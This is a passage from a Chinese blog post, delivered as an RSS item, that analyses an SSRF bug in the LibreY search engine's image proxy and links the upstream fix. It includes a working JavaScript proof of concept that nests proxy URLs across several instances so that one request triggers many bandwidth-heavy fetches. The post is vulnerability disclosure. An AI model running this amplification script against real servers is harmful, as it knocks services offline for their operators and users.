<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">const </span><span style="color: #82AAFF">INSTANCES</span><span style="color: #C792EA"> =</span><span style="color: #D6DEEB"> [</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">https://librex.a.com/</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">https://librex.b.com/</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">https://librex.c.com/</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">];</span></span>
<span><span style="color: #C792EA">const </span><span style="color: #82AAFF">FINAL_TARGET</span><span style="color: #C792EA"> = </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">http://speedtest.ftp.otenet.gr/files/test10Mb.db</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #C792EA">const </span><span style="color: #82AAFF">NUMBER_OF_ROUNDS</span><span style="color: #C792EA"> = </span><span style="color: #F78C6C">25</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #C792EA">const </span><span style="color: #82AAFF">NUMBER_OF_REQUESTS</span><span style="color: #C792EA"> = </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #C792EA">function</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">manipulatedUrlParam</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">url</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C792EA">const </span><span style="color: #82AAFF">u</span><span style="color: #C792EA"> = </span><span style="color: #7FDBCA">new</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">URL</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">url</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #D6DEEB">`</span><span style="color: #D3423E">${</span><span style="color: #7FDBCA">u</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">protocol</span><span style="color: #D3423E">}</span><span style="color: #ECC48D">/</span><span style="color: #D3423E">${</span><span style="color: #7FDBCA">u</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">host</span><span style="color: #D3423E">}</span><span style="color: #ECC48D">/qwant.com/../</span><span style="color: #D3423E">${</span><span style="color: #7FDBCA">u</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">pathname</span><span style="color: #D3423E">}${</span><span style="color: #7FDBCA">u</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">search</span><span style="color: #D3423E">}</span><span style="color: #D6DEEB">`</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">}</span></span>
<span></span>
<span><span style="color: #C792EA">function</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">imageProxyUrl</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">instance</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">target</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C792EA">const </span><span style="color: #82AAFF">u</span><span style="color: #C792EA"> = </span><span style="color: #7FDBCA">new</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">URL</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">image_proxy.php</span><span style="color: #D9F5DD">&quot;</span><span style="color: #5F7E97">,</span><span style="color: #C792EA"> </span><span style="color: #D7DBE0">instance</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">u</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">search</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">new</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">URLSearchParams</span><span style="color: #D6DEEB">({ url: </span><span style="color: #82AAFF">manipulatedUrlParam</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">target</span><span style="color: #D6DEEB">) });</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #637777">// u.search = `?url=${manipulatedUrlParam(target)}`;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">u</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">toString</span><span style="color: #D6DEEB">();</span></span>
<span><span style="color: #D6DEEB">}</span></span>
<span></span>
<span><span style="color: #C792EA">let </span><span style="color: #D7DBE0">chainedUrl</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">FINAL_TARGET</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> (</span><span style="color: #C792EA">let </span><span style="color: #D7DBE0">i</span><span style="color: #C792EA"> = </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">; </span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">NUMBER_OF_ROUNDS</span><span style="color: #D6DEEB">; </span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #D7DBE0">chainedUrl</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">imageProxyUrl</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">INSTANCES</span><span style="color: #D6DEEB">[</span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">%</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">INSTANCES</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">length</span><span style="color: #D6DEEB">], </span><span style="color: #D7DBE0">chainedUrl</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">}</span></span>
<span><span style="color: #7FDBCA">console</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">log</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">chainedUrl</span><span style="color: #D6DEEB">);</span></span>
<span></span>
<span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> (</span><span style="color: #C792EA">let </span><span style="color: #D7DBE0">i</span><span style="color: #C792EA"> = </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">; </span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">NUMBER_OF_REQUESTS</span><span style="color: #D6DEEB">; </span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">console</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">time</span><span style="color: #D6DEEB">(</span><span style="color: #D6DEEB">`</span><span style="color: #ECC48D">fetch </span><span style="color: #D3423E">${</span><span style="color: #D7DBE0">i</span><span style="color: #D3423E">}</span><span style="color: #D6DEEB">`</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #82AAFF">fetch</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">chainedUrl</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">then</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">res</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=&gt;</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">console</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">timeEnd</span><span style="color: #D6DEEB">(</span><span style="color: #D6DEEB">`</span><span style="color: #ECC48D">fetch </span><span style="color: #D3423E">${</span><span style="color: #D7DBE0">i</span><span style="color: #D3423E">}</span><span style="color: #D6DEEB">`</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">console</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">log</span><span style="color: #D6DEEB">(</span><span style="color: #D6DEEB">`</span><span style="color: #D3423E">${</span><span style="color: #7FDBCA">res</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">status</span><span style="color: #D3423E">}</span><span style="color: #ECC48D">: </span><span style="color: #D3423E">${</span><span style="color: #7FDBCA">res</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">statusText</span><span style="color: #D3423E">}</span><span style="color: #D6DEEB">`</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">console</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">log</span><span style="color: #D6DEEB">(</span><span style="color: #D6DEEB">`</span><span style="color: #ECC48D">Content-Type: </span><span style="color: #D3423E">${</span><span style="color: #7FDBCA">res</span><span style="color: #C792EA">.</span><span style="color: #FAF39F">headers</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">get</span><span style="color: #D6DEEB">(</span><span style="color: #D6DEEB">&#39;</span><span style="color: #ECC48D">Content-Type</span><span style="color: #D6DEEB">&#39;</span><span style="color: #D6DEEB">)</span><span style="color: #D3423E">}</span><span style="color: #D6DEEB">`</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777">// res.text().then((t) =&gt; console.log(`Body Length: ${t.length}`));</span></span>
<span><span style="color: #D6DEEB">  });</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<p>这样的话攻击者的一次请求就可以让服务器发送很多请求<span class="mojikumi-line-end">，</span>也能同时消耗服务器的上行和下行带宽<span class="mojikumi-line-end">，</span>并且同时攻击多个实例<span class="mojikumi-line-end">。</span></p>
<p>不同实例的攻击难度不同<span class="mojikumi-line-end">，</span>可能和服务器配置有关<span class="mojikumi-line-end">，</span>比较菜的服务器通过套娃一次请求就可以十几秒无响应<span class="mojikumi-line-end">。</span></p>
<h2 id="修复" class="heading"><a href="#修复" class="heading-anchor" aria-label="章节： 修复" tabindex="-1"></a><span>修复</span></h2>
<p><a href="https://github.com/Ahwxorg/LibreY/pull/31/files">https<wbr>://<wbr>github<wbr>.<wbr>com<wbr>/<wbr>Ahwxorg<wbr>/<wbr>LibreY<wbr>/<wbr>pull<wbr>/<wbr>31<wbr>/<wbr>files</a> <span class="mojikumi">（</span><s>这个 PR 的名字好崩溃</s><span class="mojikumi-line-end">）</span></p>
<p>用 <a href="https://www.php.net/manual/en/function.parse-url.php"><code>parse_url</code></a> 就行<span class="mojikumi-line-end">，</span>不知道当初作者为啥想不开自己造了个方轮子<span class="mojikumi-line-start">（</span></p>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/url-parsing">url-parsing</category>
            <category domain="https://ouuan.moe/tag/ssrf">ssrf</category>
            <category domain="https://ouuan.moe/tag/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90">漏洞分析</category>
        </item>
    </channel>
</rss>